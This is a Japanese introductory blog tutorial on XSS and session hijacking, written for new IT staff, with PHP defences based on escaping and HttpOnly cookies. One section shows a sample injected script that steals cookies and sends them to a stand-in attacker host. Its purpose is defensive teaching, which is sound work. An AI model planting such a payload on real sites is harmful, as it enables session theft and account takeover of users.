【入門編】 クロスサイトスクリプティング(XSS)のペイロード注入とセッションハイジャック – オフェンシブセキュリティ & リバースエンジニアリング防御ガイド

あなたのサイトが「合鍵」を配っている?XSSとセッション乗っ取りの恐怖

こんにちは!今日は、Webサイトのセキュリティにおいて最も有名でありながら、いまだに多くの場所で猛威を振るっている「クロスサイトスクリプティング(XSS)」についてお話しします。

「XSS?なんだか難しそうな名前…」と思うかもしれませんが、実はこれ、「あなたのサイトが、知らないうちに泥棒に合鍵を配ってしまう」という、とても恐ろしい現象のことなんです。

新人のIT担当者の方や、これからWeb開発を深く学びたい方に向けて、泥棒(攻撃者)がどのような手口で侵入してくるのか、そしてどうやって防げばいいのかを、家の防犯に例えて優しく解説していきますね。

—

1. 家の鍵と「セッションID」の関係

まずは、Webサイトにおける「ログイン」の仕組みをイメージしてください。

あなたが一度IDとパスワードを入力してログインすると、Webサイトはあなたのブラウザに「この人は本人ですよ」という証明書を発行します。これが「セッションID」と呼ばれるものです。

家で例えるなら、セッションIDは「玄関の鍵」です。一度鍵をもらえば、毎回顔パスで家(サイト)に入れますよね。泥棒にとって、この鍵を盗むことは、あなたの家(アカウント)に自由に出入りするための最大の目的になります。

—

2. XSS(クロスサイトスクリプティング)の仕組み

XSSとは、簡単に言えば「あなたのWebサイトの掲示板や検索窓に、泥棒がこっそり『罠』を仕掛けること」です。

反射型XSS:通りすがりの人を騙す

例えば、検索結果画面に「〇〇の検索結果」と表示されるサイトがあるとします。泥棒は、検索窓に特殊な「罠のスクリプト」を仕込んだURLを作成し、SNSなどで誰かにクリックさせます。
被害者がそのリンクを踏むと、ブラウザは「検索ワード」だと思ってそのスクリプトを実行してしまい、裏で「鍵(セッションID)」を盗んで泥棒に送信してしまいます。

蓄積型XSS:掲示板に時限爆弾を仕掛ける

これが一番厄介です。掲示板の投稿欄に、泥棒が罠のスクリプトを書き込みます。そのページを見る人全員が被害者になります。「みんなが見る広場に時限爆弾を埋める」ようなものですね。

—

3. 実際にどうやって盗まれるの?(コードで見る恐怖)

泥棒は、以下のようなコードをサイトの入力欄に紛れ込ませます。

<!-- 泥棒が仕掛ける悪意あるスクリプトの例 -->
<script>
  // ユーザーのCookie(鍵情報)を抜き取り、攻撃者のサーバーへ送信する
  var stolenCookie = document.cookie;
  fetch('https://attacker.com/steal?data=' + encodeURIComponent(stolenCookie));
</script>

もし、サイト側が入力された内容をそのまま表示してしまうと、ブラウザはこのコードを「サイト運営者が用意した正規の機能」だと勘違いして実行してしまいます。これがXSSの正体です。

—

4. どうやって防ぐ?(防犯対策の基本)

一歩ずつ対策を学んでいきましょう!守りの基本は大きく分けて2つです。

① 「入ってきたものを信じない」(エスケープ処理)

ユーザーが入力した内容を画面に表示する際、HTMLタグとして解釈されないように「無害化」します。これを「エスケープ処理」と呼びます。

例えば、PHPであれば htmlspecialchars 関数を使います。

<?php
  // ユーザーが入力した内容を安全に表示する
  $input = $_GET['search'];
  // HTMLタグを無害な文字列に変換(例: <script> が &lt;script&gt; になる)
  echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
?>

② 「鍵を盗ませない」(HTTPOnly属性)

もし万が一XSSが起きてしまっても、被害を最小限にするための強力な盾があります。それがCookieの HttpOnly 属性です。

これを設定すると、JavaScriptからはCookieが読み取れなくなります。 つまり、泥棒がスクリプトを注入しても、鍵(セッションID)には指一本触れられなくなるのです。

サーバーの設定例(PHPの場合):

<?php
  // セッションIDのCookieにHttpOnlyを付与する
  session_set_cookie_params([
      'lifetime' => 0,
      'path' => '/',
      'httponly' => true, // JavaScriptからのアクセスをブロック!
      'secure' => true    // HTTPS通信のみで送信
  ]);
  session_start();
?>

—

最後に:セキュリティは「継続」がすべて

「エスケープ処理」と「HttpOnly属性」。この2つを徹底するだけで、Webサイトの安全性は劇的に向上します。

セキュリティに「絶対」はありませんが、鍵をかける回数を増やし、隙を減らすことはできます。まずは今日から、自分の開発しているサイトで「ユーザーが入力した内容が、そのまま画面に出力されていないか?」をチェックすることから始めてみてください。

一歩ずつ、安全なWebの世界を作っていきましょう!応援しています。

コメント

タイトルとURLをコピーしました